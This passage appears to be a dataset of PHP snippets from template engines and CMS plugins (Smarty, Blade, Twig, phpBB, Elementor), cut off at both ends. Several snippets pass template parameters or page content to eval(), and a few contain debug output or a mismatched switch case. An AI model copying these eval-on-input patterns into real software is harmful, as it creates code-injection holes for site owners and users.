}</style>';\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn '';\n\t\t}", "function yy_r25(){\r\n if ($this->yystack[$this->yyidx + -6]->minor != 'foreach') {\r\n $this->compiler->trigger_template_error (\"wrong syntax for tag \\\"\" . $this->yystack[$this->yyidx + -6]->minor . \"\\\"\"); \r\n }\r\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -6]->minor,array('from'=>$this->yystack[$this->yyidx + -4]->minor,'item'=>$this->yystack[$this->yyidx + -1]->minor)); }", "protected function render_template() {\n\t\t?>\n\n\t\t<li id=\"accordion-section-{{ data.id }}\"\n\t\t\tclass=\"accordion-section control-section control-section-{{ data.type }} cannot-expand\">\n\t\t\t<p class=\"frontpage-sections-upsell\">\n\t\t\t\t<# if ( data.upsell_text ) { #>\n\t\t\t\t\t{{{data.upsell_text}}}\n\t\t\t\t\t<# } #>\n\t\t\t</p>\n\t\t</li>\n\t\t<?php\n\t}", "protected function compile(): void\n {\n if (System::getContainer()->get('contao.routing.scope_matcher')->isBackendRequest(System::getContainer()->get('request_stack')->getCurrentRequest() ?? Request::create(''))) {\n $this->strTemplate = 'be_wildcard';\n $this->Template = new BackendTemplate($this->strTemplate);\n }\n\n $this->Template->tabsElement = $this->tabs_element;\n }", "function default_template_filter_active_name()\r\n{\r\n $template = '{foreach from=$element_list item=element}\n{if $element[\"filter\"][\"is_active\"] == 1}\n{foreach from=$element[\"filter\"][\"values_attribute\"] item=value}\r\n{if $value[\"val\"] == 1}\n{$element[\"filter\"][\"name_attribute\"]} {$value[\"name\"]}\n{/if}\n{/foreach}\r\n{/if}\n{/foreach}';\n\n\t$template = str_replace(\"\\r\\n\", \"\", $template);\r\n\t$template = str_replace(\"\\n\", \"\", $template);\n\t\r\n return $template;\r\n}", "protected function compileIncludeIf(string $expression): string\n {\n $expression = $this->stripParentheses($expression);\n\n return \"<?php if (\\$__env->exists({$expression})) echo \\$__env->make({$expression}, \\\\Hyperf\\\\Utils\\\\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>\";\n }", "function smarty_function_set($params, &$smarty)\n{\n\t// if an array is to create\n\tif (substr($params['value'], 0, 6) == \"array(\") eval(\"\\$params['value'] = \" . str_replace('\"', '', $params['value']) . \";\");\n\t\n\tif (!isset($params['var']))\n\t{\n\t\t$smarty->trigger_error(\"set: missing 'var' parameter\", E_USER_WARNING);\n\t\treturn;\n\t}\n\n\t// Functions permitted in \"if\" parameter\n\t$functionsPermitted = array('empty', '!empty', 'is_null', '!is_null', 'isset', '!isset', 'is_void');\n\tif (!isset($params['value']))\n\t{\n\t\t$smarty->assign($params['var'], null); // clean setting\n\t\treturn;\n\t}\n\telseif (isset($params['if']))\n\t{ // Setting with \"if\" parameter\n\t\tif (in_array($params['if'], $functionsPermitted))\n\t\t{\n\t\t\t$var = $smarty->get_template_vars($params['var']); echo \"aa=\".$var.\"<br>\";\n\t\t\tswitch ($params['if'])\n\t\t\t{\n\t\t\t\tcase \"is_void\": if (empty($var) and ($var !== 0) and ($var !== '0'))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$smarty->assign($params['var'], $params['value']); break;\n\t\t\t\tcase \"empty\": if (empty($params['var'])) $smarty->assign($params['var'], $params['value']); break;\n\t\t\t\tcase \"!empty\": if (!empty($params['var'])) $smarty->assign($params['var'], $params['value']); break;\n\t\t\t\tcase \"is_null\": if (is_null($params['var'])) $smarty->assign($params['var'], $params['value']); break;\n\t\t\t\tcase \"!is_null\": if (!is_null($params['var'])) $smarty->assign($params['var'], $params['value']); break;\n\t\t\t\tcase \"isset\": if (isset($params['var'])) $smarty->assign($params['var'], $params['value']); break;\n\t\t\t\tcase \"!isset\": if (!isset($params['var'])) $smarty->assign($params['var'], $params['value']); break;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$smarty->trigger_error(\"set: 'if' parameter not valid\", E_USER_WARNING);\n\t\t}\n\t}\n\telse\n\t{ // normal setting\n\t\t$smarty->assign($params['var'], $params['value']);\n\t}\n}", "function set_in_template()\n\t{\n\t\tglobal $template, $user, $phpbb_root_path, $phpEx;\n\n\t\t// Assign some variables to the template parser\n\t\t$template->assign_vars(array(\n\t\t\t// If they hit preview or submit and got an error, or are editing their post make sure we carry their existing post info & options over\n\t\t\t'S_BBCODE_CHECKED'\t\t\t=> ($this->enable_bbcode) ? '' : ' checked=\"checked\"',\n\t\t\t'S_SMILIES_CHECKED'\t\t\t=> ($this->enable_smilies) ? '' : ' checked=\"checked\"',\n\t\t\t'S_MAGIC_URL_CHECKED'\t\t=> ($this->enable_magic_url) ? '' : ' checked=\"checked\"',\n\n\t\t\t// To show the Options: section on the bottom left\n\t\t\t'BBCODE_STATUS'\t\t\t\t=> ($this->bbcode_status) ? sprintf($user->lang['BBCODE_IS_ON'], '<a href=\"' . append_sid(\"{$phpbb_root_path}faq.$phpEx\", 'mode=bbcode') . '\">', '</a>') : sprintf($user->lang['BBCODE_IS_OFF'], '<a href=\"' . append_sid(\"{$phpbb_root_path}faq.$phpEx\", 'mode=bbcode') . '\">', '</a>'),\n\t\t\t'IMG_STATUS'\t\t\t\t=> ($this->img_status) ? $user->lang['IMAGES_ARE_ON'] : $user->lang['IMAGES_ARE_OFF'],\n\t\t\t'FLASH_STATUS'\t\t\t\t=> ($this->flash_status) ? $user->lang['FLASH_IS_ON'] : $user->lang['FLASH_IS_OFF'],\n\t\t\t'SMILIES_STATUS'\t\t\t=> ($this->smilies_status) ? $user->lang['SMILIES_ARE_ON'] : $user->lang['SMILIES_ARE_OFF'],\n\t\t\t'URL_STATUS'\t\t\t\t=> ($this->url_status) ? $user->lang['URL_IS_ON'] : $user->lang['URL_IS_OFF'],\n\n\t\t\t// To show the option to turn each off while posting\n\t\t\t'S_BBCODE_ALLOWED'\t\t\t=> $this->bbcode_status,\n\t\t\t'S_SMILIES_ALLOWED'\t\t\t=> $this->smilies_status,\n\t\t\t'S_LINKS_ALLOWED'\t\t\t=> $this->url_status,\n\n\t\t\t// To show the BBCode buttons for each on top\n\t\t\t'S_BBCODE_IMG'\t\t\t\t=> $this->img_status,\n\t\t\t'S_BBCODE_URL'\t\t\t\t=> $this->url_status,\n\t\t\t'S_BBCODE_FLASH'\t\t\t=> $this->flash_status,\n\t\t));\n\n\t\tblog_plugins::plugin_do('post_options_set_in_template');\n\t}", "public static function _if($self, $condition, $truecode, $falsecode = null)\n {\n //if the given condition evaluates to true, run the true script\n if($self->evaluate($condition))\n $self->evaluate_script($truecode);\n\n //otherwise, run the false one\n elseif($falsecode !== null)\n $self->evaluate_script($falsecode);\n }", "public function compile(Twig_Compiler $compiler)\n {\n $name = $this->getAttribute('name');\n $reference = $this->getAttribute('reference');\n $variable = $this->getAttribute('variable');\n $offset = $this->getAttribute('offset');\n $offset = ($offset === null || $offset === false || strval(intval($offset)) != $offset ? 'null' : $offset);\n\n if ($variable) {\n $compiler\n ->addDebugInfo($this)\n ->write(\"if (!\\$this->env->getExtension('defer')->contains('{$reference}', '$name|' . \\$context['{$variable}'])) {\\n\")\n ->indent()\n ->write(\"\\$this->env->getExtension('defer')->cache('{$reference}', \\$this->renderBlock('{$name}', \\$context, \\$blocks), '$name|' . \\$context['{$variable}'], {$offset});\\n\")\n ->outdent()\n ->write(\"}\\n\")\n ;\n\n return;\n }\n if ($this->getAttribute('unique')) {\n $compiler\n ->addDebugInfo($this)\n ->write(\"if (!\\$this->env->getExtension('defer')->contains('{$reference}', '{$name}')) {\\n\")\n ->indent()\n ->write(\"\\$this->env->getExtension('defer')->cache('{$reference}', \\$this->renderBlock('{$name}', \\$context, \\$blocks), '{$name}', {$offset});\\n\")\n ->outdent()\n ->write(\"}\\n\")\n ;\n\n return;\n }\n $compiler\n ->addDebugInfo($this)\n ->write(\"\\$this->env->getExtension('defer')->cache('{$reference}', \\$this->renderBlock('{$name}', \\$context, \\$blocks), null, {$offset});\\n\")\n ;\n }", "function smarty_function_value_filter($params)\n{\n \n App::uses('SmartyComponent', 'Controller/Component');\n $Smarty = new SmartyComponent(new ComponentCollection());\n\n $assignments = array('id_attribute' => $params['id_attribute']\n ,'name_attribute' => $params['name_attribute']\n ,'values_attribute' => $params['values_attribute']);\n if(isset($params['is_active']))$assignments['is_active'] = $params['is_active'];\n if(isset($params['alias_micro_template']))\n {\n $params['template'] = $params['alias_micro_template'];\n $display_template = $Smarty->load_template($params, 'value_filter');\n }\n else $display_template = $params['template'];\n $Smarty->display($display_template, $assignments);\n\n}", "function eval_inline_php($myContent,$onlyEval=false)\n// *************************************************\n{\n\t$rVal = \"\";\n\n\t// PHP INCLUDES\n\t$pos1 = strpos($myContent,\"<?php\");\n\n\tif (!($pos1===false))\n\t{\n\t\t$pos2 = strpos($myContent,\"?>\",$pos1);\n\n\t\t$rVal .= substr($myContent,0,$pos1);\n\n\t\t// BLOCK AUSWERTEN\n\t\t$evalTxt = substr($myContent,$pos1+5,($pos2)-($pos1+5));\n\t\teval($evalTxt);\n\n\t\t// RUECKGABE BLOCK DAVOR UND DANACH\n\t\tif (!$onlyEval) return $rVal.substr($myContent,$pos2+2);\n\t}\n\telse\n\t\treturn $myContent;\n\n\treturn \"\";\n}", "function pnRender_block_nocache($param, $content, &$smarty) {\n return $content;\n}", "public function _generatePhpIf($clause, $cols)\n {\n /* Instantiate a new parser for the clause, and some variables */\n $parser = new WordParser($clause);\n $column = $parser->getNextWord(true);\n $op = $parser->getNextWord(true);\n $value = $parser->getNextWord(true);\n $code = '';\n\n /* Check if this is column uses a function */\n if (substr_count($column, '(') > 0 && substr_count($column, '(') == substr_count($column, ')')) {\n /* Grab the function name */\n $function = substr($column, 0, strpos($column, '('));\n\n /* Check if this is a nested function */\n if (empty($function)) {\n $column = substr($column, strpos($column, '(') + 1, -1);\n $subParser = new SqlParser($column);\n $subParser->parseWhere($column = array());\n\n /* Generate PHP code for the nested part */\n $code .= $test = $this->_generateWhereClause($column['where'], $cols);\n } else {\n /* Generate PHP code for this part of the clause */\n if (($last = $this->_generateClause($column, $cols)) === false) {\n return false;\n }\n $code .= $last;\n }\n } else {\n /* Generate PHP code for this part of the clause */\n $code .= $last = $this->_generateClause($column, $cols);\n }\n\n /* Check for an operator and generate code for the value after the operator */\n if (!empty($op)) {\n $op = strtolower($op);\n\n /* Make sure that this operator is valid */\n switch ($op) {\n /* Regex Operator */\n case '%=':\n case '!%':\n\n /* Equality Operator */\n case '!=':\n\n /* LIKE Operator */\n case '!~':\n {\n $op = ($op == '!~') ? 'notlike' : $op;\n }\n\n case '=~':\n {\n $op = ($op == '=~') ? 'like' : $op;\n }\n\n /* Inequality Operator */\n case '<=':\n case '>=':\n\n /* Equality Operator */\n case '=':\n {\n $op = ($op == '=') ? '==' : $op;\n }\n\n case '<>':\n\n /* Inequality Operator */\n case '<':\n case '>':\n\n /* In-String Operator */\n case '!?':\n case '?':\n\n /* Regex Operator */\n case 'regexp':\n {\n $op = ($op == 'regexp') ? '%=' : $op;\n }\n\n case 'notregexp':\n {\n $op = ($op == 'notregexp') ? '!%' : $op;\n }\n\n /* LIKE Operator */\n case 'notlike':\n case 'like':\n {\n break;\n }\n\n /* Invalid Operator */\n default:\n {\n /* There is an error in your where clause */\n return $this->_error(E_USER_NOTICE, 'You have an error in your where clause, (operators allowed: =, !=, <>, =~, !~, <, >, <=, >=)');\n }\n }\n\n /* The 'instring' operator */\n if ($op == '!?' || $op == '?') {\n $value = str_replace('\"', '\\\\\\\\\"', $value);\n $code = substr($code, 0, strlen($code) - strlen($last));\n\n if (($functionClause = $this->_generateClause($value, $cols)) === false) {\n return false;\n }\n\n $code .= '( strpos(' . $last . ', ' . $functionClause .') ' . ($op == '?' ? '!' : '=') . '== FALSE )';\n }\n\n /* LIKE query using simplified regular expressions */\n elseif ($op == 'like' || $op == 'notlike') {\n /* Get the value after the operator */\n $parser->setString($value);\n $value = $parser->getNextWord();\n\n /* Create the PHP Code */\n $code = substr($code, 0, strlen($code) - strlen($last));\n $value = str_replace(\n array('(', ')', '{', '}', '.', '$', '/', '\\%', '*', '%', '$$PERC$$'),\n array('\\(', '\\)', '\\{', '\\}', '\\.', '\\$', '\\/', '$$PERC$$', '\\*', '(.+)?', '%'),\n $value\n );\n\n $code .= '( ' . ($op == 'notlike' ? '!' : '') . 'preg_match(\"/^' . $value . '$/iU\", ' . $last . ') )';\n }\n\n /* Regular expressions query */\n elseif ($op == '%=' || $op == '!%') {\n /* Get the value after the operator */\n $parser->setString($value);\n $value = $parser->getNextWord(false);\n\n /* Create the PHP Code */\n $code = substr($code, 0, strlen($code) - strlen($last));\n $code .= '( ' . ($op == '!%' ? '!' : '') . 'preg_match(\"' . $value . '\", ' . $last . ') )';\n }\n\n /* Append the PHP code for the second part of the query ( the value after the operator ) */\n else {\n if (($last = $this->_generateClause($value, $cols)) === false) {\n return false;\n }\n\n $code .= \" $op \" . $last;\n }\n }\n\n /* Return the PHP code */\n return $code;\n }", "public function compile(TwigCompiler $compiler)\n {\n $names = $this->getNode('names');\n $values = $this->getNode('values');\n $isCapture = $this->getAttribute('capture');\n if ($isCapture) {\n $blockName = $names->getNode(0);\n $compiler\n ->addDebugInfo($this)\n ->write(\"echo \\$this->env->getExtension(\\Cms\\Twig\\Extension::class)->startBlock(\")\n ->raw(\"'\".$blockName->getAttribute('name').\"'\")\n ->write(\");\\n\")\n ;\n\n $isOverwrite = strtolower($this->getAttribute('endType')) == 'overwrite';\n\n $compiler->subcompile($this->getNode('values'));\n\n $compiler\n ->addDebugInfo($this)\n ->write(\"echo \\$this->env->getExtension(\\Cms\\Twig\\Extension::class)->endBlock(\")\n ->raw($isOverwrite ? 'false' : 'true')\n ->write(\");\\n\")\n ;\n }\n else {\n foreach ($names as $key => $name) {\n if (!$values->hasNode($key)) {\n continue;\n }\n\n $value = $values->getNode($key);\n\n $compiler\n ->addDebugInfo($this)\n ->write(\"echo \\$this->env->getExtension(\\Cms\\Twig\\Extension::class)->setBlock(\")\n ->raw(\"'\".$name->getAttribute('name').\"'\")\n ->raw(', ')\n ->subcompile($value)\n ->write(\");\\n\")\n ;\n }\n }\n }", "private function appendIfModuleCheckStart(){\n\t\t$string = '<IfModule mod_rewrite.c>';\n\t\t$this->appendLineToRewrites($string);\n\t}", "function sif($condition,$true_value,$false_value)\n{\n\treturn $condition?$true_value:$false_value;\n}", "function termsConditions()\r\r\n\t{\r\r\n\t $this->data['content'] \t\t\t= 'general/terms_conditions';\r\r\n\t\t$this->_render_page('temp/template', $this->data);\r\r\n\t}", "function _opened_tag($mindless_mode,$as_admin,$source_member,$attribute_map,$current_tag,$pos,$comcode_dangerous,$comcode_dangerous_html,$in_separate_parse_section,$in_html,$in_semihtml,$close,&$len,&$comcode)\n{\n\tglobal $BLOCK_TAGS,$TEXTUAL_TAGS,$CODE_TAGS;\n\n\t$block_tag=isset($BLOCK_TAGS[$current_tag]);\n\n\tif (($block_tag) && ($pos<$len) && ($comcode[$pos]==chr(10)))\n\t{\n\t\t++$pos;\n\t\tglobal $NUM_LINES;\n\t\t++$NUM_LINES;\n\t}\n\n\t$tag_output=new ocp_tempcode();\n\t$textual_area=isset($TEXTUAL_TAGS[$current_tag]);\n\n\t$white_space_area=$textual_area;\n\tif (((($current_tag=='code') || ($current_tag=='codebox')) && (isset($attribute_map['param'])) && ((strtolower($attribute_map['param'])=='php') || (file_exists(get_file_base().'/sources/geshi/'.filter_naughty(strtolower($attribute_map['param'])).'.php')) || (file_exists(get_file_base().'/sources_custom/geshi/'.filter_naughty($attribute_map['param']).'.php')))) || ($current_tag=='php') || ($current_tag=='attachment') || ($current_tag=='attachment2') || ($current_tag=='attachment_safe') || ($current_tag=='menu'))\n\t{\n\t\t$in_separate_parse_section=true;\n\t} else\n\t{\n\t\t// Code tags are white space area, but not textual area\n\t\tif (isset($CODE_TAGS[$current_tag])) $white_space_area=true;\n\t}\n\n\t$in_code_tag=isset($CODE_TAGS[$current_tag]);\n\n\t$attribute_map=array();\n\n\t$formatting_allowed=(($textual_area?1:0) & ($block_tag?1:0))!=0;\n\n//\t\t\t\t\t\tif (in_array($current_tag,$BLOCK_TAGS)) $just_new_line=true;\n\n\tif ($current_tag=='html') $in_html=!$close;\n\telseif ($current_tag=='semihtml') $in_semihtml=!$close;\n\t$status=CCP_NO_MANS_LAND;\n\n\tif (($current_tag=='html') || ($current_tag=='semihtml')) // New state meaning we need to filter the contents\n\t{\n\t\tif (($in_html) || ($in_semihtml))\n\t\t{\n\t\t\tfilter_html($as_admin,$source_member,$pos,$len,$comcode,$in_html,$in_semihtml);\n\t\t}\n\t}\n\n\tif ($mindless_mode)\n\t{\n\t\t$white_space_area=true;\n\t\t$in_separate_parse_section=false;\n\t}\n\n\tif ($current_tag=='quote')\n\t{\n\t\t$comcode_dangerous=false;\n\t\t$comcode_dangerous_html=false;\n\t}\n\n\treturn array($tag_output,$comcode_dangerous,$comcode_dangerous_html,$white_space_area,$formatting_allowed,$in_separate_parse_section,$textual_area,$attribute_map,$status,$in_html,$in_semihtml,$pos,$in_code_tag);\n}", "protected function echoIf($condition, $html)\n {\n if($condition) echo $html;\n }", "protected function transpileForElse($expression): string\n {\n $empty = '$__empty_'.++$this->forElseCounter;\n \n return \"<?php {$empty} = true; foreach{$expression}: {$empty} = false; ?>\";\n }", "protected function content_template() {\n\t\t?>\n\t\t<#\n\t\t\tif ( 'left' == settings.image_position || 'right' == settings.image_position ) {\n\t\t\t\tif ( 'tablet' == settings.member_mob_view ) {\n\n\t\t\t\t\tview.addRenderAttribute( 'member-classname', 'class', 'uael-member-stacked-tablet' );\n\t\t\t\t}\n\t\t\t\tif ( 'mobile' == settings.member_mob_view ) {\n\n\t\t\t\t\tview.addRenderAttribute( 'member-classname', 'class', 'uael-member-stacked-mobile' );\n\t\t\t\t}\n\t\t\t\tif ( 'middle' == settings.member_image_valign ) {\n\t\t\t\t\tview.addRenderAttribute( 'member-classname', 'class', 'uael-member-image-valign-middle' );\n\t\t\t\t} else {\n\t\t\t\t\tview.addRenderAttribute( 'member-classname', 'class', 'uael-member-image-valign-top' );\n\t\t\t\t}\n\t\t\t}\n\t\t\tview.addRenderAttribute( 'member-classname', 'class', 'uael-team-member' );\n\t\t#>\n\t\t<div {{{ view.getRenderAttributeString( 'member-classname' ) }}} >\n\t\t\t<div class=\"uael-team-member-wrap\">\n\t\t\t\t<div class=\"uael-member-wrap\">\n\t\t\t\t\t<#\n\t\t\t\t\tvar image = {\n\t\t\t\t\t\tid: settings.image.id,\n\t\t\t\t\t\turl: settings.image.url,\n\t\t\t\t\t\tsize: settings.image_size,\n\t\t\t\t\t\tdimension: settings.image_custom_dimension,\n\t\t\t\t\t\tmodel: view.getEditModel()\n\t\t\t\t\t};\n\n\t\t\t\t\tvar image_url = elementor.imagesManager.getImageUrl( image );\n\t\t\t\t\tif( image_url !== '' ) {\n\t\t\t\t\t#>\n\t\t\t\t\t\t<div class=\"uael-team-member-image\"><img src=\"{{{ image_url }}}\" class=\"elementor-animation-{{{settings.hover_animation}}}\" ></div>\n\t\t\t\t\t\t<#\n\t\t\t\t\t}\n\t\t\t\t\tview.addRenderAttribute( 'member_content', 'class', 'uael-team-member-content' ); #>\n\t\t\t\t\t<div {{{ view.getRenderAttributeString( 'member_content' )}}} >\n\t\t\t\t\t\t<div class=\"uael-team-member-name\">\n\t\t\t\t\t\t\t<# if ( '' !== settings.team_member_name ) {\n\t\t\t\t\t\t\t\tview.addRenderAttribute( 'team_member_name', 'class', 'uael-team-name' );\n\t\t\t\t\t\t\t\tview.addInlineEditingAttributes( 'team_member_name' );\n\t\t\t\t\t\t\t\tvar memberNameHtml = settings.team_member_name;\n\t\t\t\t\t\t\t\t#>\n\t\t\t\t\t\t\t\t<{{{settings.name_size}}} {{{ view.getRenderAttributeString( 'team_member_name' )}}}>{{{settings.team_member_name}}}</{{{settings.name_size}}}>\n\t\t\t\t\t\t\t<# } #>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<# \n\t\t\t\t\t\tif( 'yes' == settings.separator_settings) {\n\t\t\t\t\t\t\tif( 'below_name' == settings.separator_position ) { #>\n\t\t\t\t\t\t\t\t<div class=\"uael-separator-wrapper\">\n\t\t\t\t\t\t\t\t\t<div class=\"uael-separator\"></div>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<# } #>\n\t\t\t\t\t\t<# } #>\n\t\t\t\t\t\t<div class=\"uael-team-member-designation\">\n\t\t\t\t\t\t\t<# if ( '' !== settings.team_member_desig ) {\n\t\t\t\t\t\t\t\tview.addRenderAttribute( 'team_member_desig', 'class', 'uael-team-desig' );\n\n\t\t\t\t\t\t\t\tview.addInlineEditingAttributes( 'team_member_desig' );\n\n\t\t\t\t\t\t\t\tvar memberDesignHtml = settings.team_member_desig;\n\t\t\t\t\t\t\t\t#>\n\t\t\t\t\t\t\t\t<div {{{ view.getRenderAttributeString( 'team_member_desig' ) }}}>{{{ memberDesignHtml }}}</div>\n\t\t\t\t\t\t\t<# } #>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<# if( 'yes' == settings.separator_settings) {\n\t\t\t\t\t\t\tif( 'below_desig' == settings.separator_position ) { #>\n\t\t\t\t\t\t\t\t<div class=\"uael-separator-wrapper\">\n\t\t\t\t\t\t\t\t\t<div class=\"uael-separator\"></div>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<# } #>\n\t\t\t\t\t\t<# } #>\n\t\t\t\t\t\t<div class=\"uael-team-member-desc\">\n\t\t\t\t\t\t\t<# if ( '' !== settings.team_member_desc ) {\n\t\t\t\t\t\t\t\tview.addRenderAttribute( 'team_member_desc', 'class', 'uael-team-desc' );\n\n\t\t\t\t\t\t\t\tview.addInlineEditingAttributes( 'team_member_desc' );\n\n\t\t\t\t\t\t\t\tvar memberDescHtml = settings.team_member_desc;\n\t\t\t\t\t\t\t\t#>\n\t\t\t\t\t\t\t\t<div {{{ view.getRenderAttributeString( 'team_member_desc' ) }}}>{{{ memberDescHtml }}}</div>\n\t\t\t\t\t\t\t<# } #>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<# if( 'yes' == settings.separator_settings) {\n\t\t\t\t\t\t\tif( 'below_desc' == settings.separator_position ) { #>\n\t\t\t\t\t\t\t\t<div class=\"uael-separator-wrapper\">\n\t\t\t\t\t\t\t\t\t<div class=\"uael-separator\"></div>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<# } #>\n\t\t\t\t\t\t<# } #>\n\t\t\t\t\t\t<# if( 'yes' == settings.social_icons_settings) { #>\n\t\t\t\t\t\t\t<# var iconsHTML = {}; #>\n\t\t\t\t\t\t\t<div class=\"elementor-social-icons-wrapper\">\n\t\t\t\t\t\t\t\t<div class=\"uael-team-social-icon\">\n\t\t\t\t\t\t\t\t\t<# _.each( settings.social_icon_list, function( item, index ) { #>\n\t\t\t\t\t\t\t\t\t\t<?php if ( UAEL_Helper::is_elementor_updated() ) { ?>\n\t\t\t\t\t\t\t\t\t\t\t<# var link = item.link ? item.link.url : '',\n\t\t\t\t\t\t\t\t\t\t\t\tmigrated = elementor.helpers.isIconMigrated( item, 'new_social' ),\n\t\t\t\t\t\t\t\t\t\t\t\tsocial = elementor.helpers.getSocialNetworkNameFromIcon( item.new_social, item.social, false, migrated );\n\t\t\t\t\t\t\t\t\t\t\t\t#>\n\t\t\t\t\t\t\t\t\t\t\t\t<a class=\"elementor-icon elementor-social-icon elementor-social-icon-{{ social }} elementor-animation-{{ settings.icon_hover_animation }} elementor-repeater-item-{{item._id}}\" href=\"{{ link }}\">\n\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"elementor-screen-only\">{{{ social }}}</span>\n\n\t\t\t\t\t\t\t\t\t\t\t\t<#\n\t\t\t\t\t\t\t\t\t\t\t\t\ticonsHTML[ index ] = elementor.helpers.renderIcon( view, item.new_social, {}, 'i', 'object' );\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ( ( ! item.social || migrated ) && iconsHTML[ index ] && iconsHTML[ index ].rendered ) { #>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{{{ iconsHTML[ index ].value }}}\n\t\t\t\t\t\t\t\t\t\t\t\t\t<# } else { #>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<i class=\"{{ item.social }}\"></i>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<# }\n\t\t\t\t\t\t\t\t\t\t\t\t#>\n\t\t\t\t\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t\t\t\t\t<?php } else { ?>\n\t\t\t\t\t\t\t\t\t\t\t<# var link = item.link ? item.link.url : '',\n\t\t\t\t\t\t\t\t\t\t\tsocial = item.social.replace( 'fa fa-', '' ); #>\n\t\t\t\t\t\t\t\t\t\t\t<a class=\"elementor-icon elementor-social-icon elementor-social-icon-{{ social }} elementor-animation-{{ settings.icon_hover_animation }}\" href=\"{{ link }}\">\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"elementor-screen-only\">{{{ social }}}</span>\n\t\t\t\t\t\t\t\t\t\t\t\t<i class=\"{{ item.social }}\"></i>\n\t\t\t\t\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t\t\t\t\t<# } ); #>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<# } #>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<?php\n\t}", "function yy_r19(){ $this->_retvalue = '<?php ob_start();?>'.$this->compiler->compileTag($this->yystack[$this->yyidx + -6]->minor,array_merge(array('object_methode'=>$this->yystack[$this->yyidx + -4]->minor),$this->yystack[$this->yyidx + -1]->minor)).'<?php echo ';\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if ($this->smarty->plugin_handler->loadSmartyPlugin($this->yystack[$this->yyidx + -3]->minor[0],'modifier')) {\r\n $this->_retvalue .= \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -3]->minor[0] . \"',array(ob_get_clean()\" . $this->yystack[$this->yyidx + -2]->minor. \"),\".$this->yystack[$this->yyidx + -3]->minor[1].\");?>\";\r\n } else {\r\n if (is_callable($this->yystack[$this->yyidx + -3]->minor[0])) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if (!$this->template->security || $this->smarty->security_handler->isTrustedModifier($this->yystack[$this->yyidx + -3]->minor[0], $this->compiler)) {\r\n $this->_retvalue .= \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -3]->minor[0] . \"',array(ob_get_clean()\" . $this->yystack[$this->yyidx + -2]->minor. \"),\".$this->yystack[$this->yyidx + -3]->minor[1].\");?>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n $this->compiler->trigger_template_error (\"unknown modifier \\\"\" . $this->yystack[$this->yyidx + -3]->minor[0] . \"\\\"\");\r\n }\r\n }\r\n }", "function smarty_compiler_L($tag_arg, &$smarty)\n{\n\tglobal $user;\n\t$tag_arg = preg_replace('/[^A-Z_]*/', '', $tag_arg);\n\tif (isset($user->lang[$tag_arg]))\n\t{\n\t\treturn \"?>{$user->lang[$tag_arg]}<?php\";\n\t}\n\telse\n\t{\n\t\treturn 'echo(isset($this->_tpl_vars[\\'L_' . $tag_arg . '\\']) ? $this->_tpl_vars[\\'L_' . $tag_arg . '\\'] : \\'{L ' . $tag_arg . '}\\');';\n\t}\n}", "private function setupIfndef() {\n Blade::directive('ifndef', function($expression) {\n $all_params_st = $this->stringParamAsString($expression);\n $params = eval(\"return array(\".$all_params_st.\");\");\n $result = '<?php ';\n $result .= 'if (';\n \n for ($i=0;$i<count($params);$i++) {\n $result .= \"!isset($\".$params[$i].\")\";\n if ($i<count($params)-1) {\n $result .=\" && \";\n }\n }\n $result .= '): ?>';\n return $result;\n });\n }", "function render_block($parsed_block)\n {\n }", "protected function compile()\n {\n $parUri = '';\n\n $this->log('Detail: ' . $parUri . ' - ' . $this->Input->get(self::$strDetailKey), 'compile()', 'Probenplan');\n $this->log('Delete: ' . $parUri . ' - ' . $this->Input->get(self::$strDeleteKey), 'compile()', 'Probenplan');\n $this->log('View : ' . $parUri . ' - ' . $this->Input->get(self::$strViewKey), 'compile()', 'Probenplan');\n\n if ($this->Input->get(self::$strDetailKey)) {\n $parUri = 'ins';\n }\n if ($this->Input->get(self::$strDeleteKey)) {\n $parUri = 'del';\n }\n if ($this->Input->get(self::$strViewKey)) {\n $parUri = 'view';\n }\n if (!$this->Input->get(self::$strDetailKey) && !$this->Input->get(self::$strDeleteKey) && !$this->Input->get(self::$strViewKey)) {\n $parUri = '';\n }\n\n $this->log('parUri: ' . $parUri . ' - ' . $this->Input->get(self::$strDetailKey), 'compile()', 'Probenplan');\n\n switch ($parUri) {\n case 'ins':\n $this->compileEditTemplate();\n break;\n case 'del':\n $this->compileDeleteData($this->Input->get(self::$strDeleteKey));\n $this->compileListTemplate();\n break;\n case 'vie':\n $this->compileViewTemplate();\n break;\n default:\n $this->compileListTemplate();\n break;\n }\n\n }", "private function remove_post_parse_conditionals($tags, $tagdata)\n\t{\n\t\t//--------------------------------------------\n\t\t//\tfirst find all if openers\n\t\t//--------------------------------------------\n\n\t\t//need a temp to work with\n\t\t$temp \t\t\t\t= $tagdata;\n\n\t\t$if_openers \t\t= array();\n\n\t\t$count = 0;\n\n\t\twhile ($temp = stristr($temp, LD . 